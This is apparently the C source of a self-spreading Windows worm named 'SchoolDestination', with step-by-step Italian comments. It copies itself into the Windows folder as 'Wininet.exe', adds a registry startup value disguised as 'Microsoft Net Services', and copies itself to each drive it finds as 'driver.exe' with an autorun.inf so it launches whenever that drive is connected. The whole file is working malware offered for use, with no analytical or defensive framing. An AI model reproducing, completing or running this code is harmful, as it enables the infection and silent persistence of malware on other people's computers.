/***********************************
SchoolDestination
Creato il 13/03/2007
by delta
************************************/
#include <windows.h> //GetModuleFileName, CopyFile, CreateFile, WriteFile
#include <string.h>
#define WORM_NAME "rebel.exe"
#define DRIVER_NAME "driver" //ogni qualvolta che si copia inuna penna usb, ilworm assume il nome driver cosi verra E:\driver.exe
static const char* message[]={ //array
"SchoolDestination created by anon"
};
DWORD WINAPI DriveSpread() //questo � per la diffusione su penne usb del worm
{
char DriveLetter[2]; //A...Z
char Buffer[MAX_PATH]; //buffer
char WormFile[MAX_PATH]; //buffer dove verra immesso il worm cosi da avere una copia
char autorun[MAX_PATH]; //per l'autorun.inf
int nomevirus;
GetModuleFileName(0, WormFile, sizeof(WormFile)); //otteniamo una copia del worm da copiare fresca fresca
for(int d = 66; d < 91; d++) //b - z
{
DriveLetter[0] = d;
DriveLetter[1] = 0;
lstrcpy(Buffer, DriveLetter); //mettiamo nel buffer la lettera della penna usb
lstrcat(Buffer, ":\\"); //ci aggiungiamo lo slash(quindi divverra E:\\
if(GetDriveType(Buffer) == DRIVE_REMOTE) //se � una penna usb
{
lstrcat(autorun, Buffer);
lstrcat(autorun, "autorun.inf"); // ora abbiamo E:\autorun.inf
lstrcat(Buffer, DRIVER_NAME); //con lstrcat diventa E:\\driver
lstrcat(Buffer, ".exe"); // ora � E:\\driver.exe
CopyFile(WormFile, Buffer, false); //copiamo il wormin E:\\driver.exe
const char* autoruninf = "[AUTORUN]\nOPEN=driver.exe";
DWORD byte;
HANDLE hFile = CreateFile(autorun, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); //creiamo autorun.inf
BOOL bSuccess = WriteFile ( hFile, autoruninf, strlen(autoruninf), &byte, NULL); //ci scriviamo dentro
CloseHandle(hFile); //lo chiudiamo
//ora abbiamo due file nella penna usb
// uno � driver.exe che � worm
//l'altro � autorun.inf che far� avviare il worm automaticamente qualunque volta che la penna usb
//viene connessa ad un pc
}
}
return 0;
}
//main principale
int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
char pathname[256]; //path worm
char windir[MAX_PATH]; //directory windows
char instpath[MAX_PATH];
GetWindowsDirectory(windir, sizeof(windir)); //otteniamo il path della dir di windows(es C:\windows
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256); //questi due passaggi servono ad ottenere una copia del worm
strcat(windir, "\\Wininet.exe"); //cosi diventa C:\windows\Wininet.exe
CopyFile(pathname,windir,0); //la copiamo
lstrcpy(instpath,windir);
char buffer[60];
unsigned long size = sizeof(buffer);
strcpy(buffer, instpath);
HKEY software;
HKEY mykey;
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\",&software);
RegCreateKey(software,"RunServices",&mykey); //apriamo il regedit e scriviamo in Run una chiave
RegSetValueEx(mykey,"Microsoft Net Services",NULL,REG_SZ,(LPBYTE)buffer,size); //a questa chiave scriviamo il nostro worm
RegCloseKey(mykey); // la chiudiamo
RegCloseKey(software);
//ora il worm � copiato in windows � capace di autoavviarsi ad ogni avvio di sistema
DriveSpread(); //lo facciamo diffondere
return 0;
}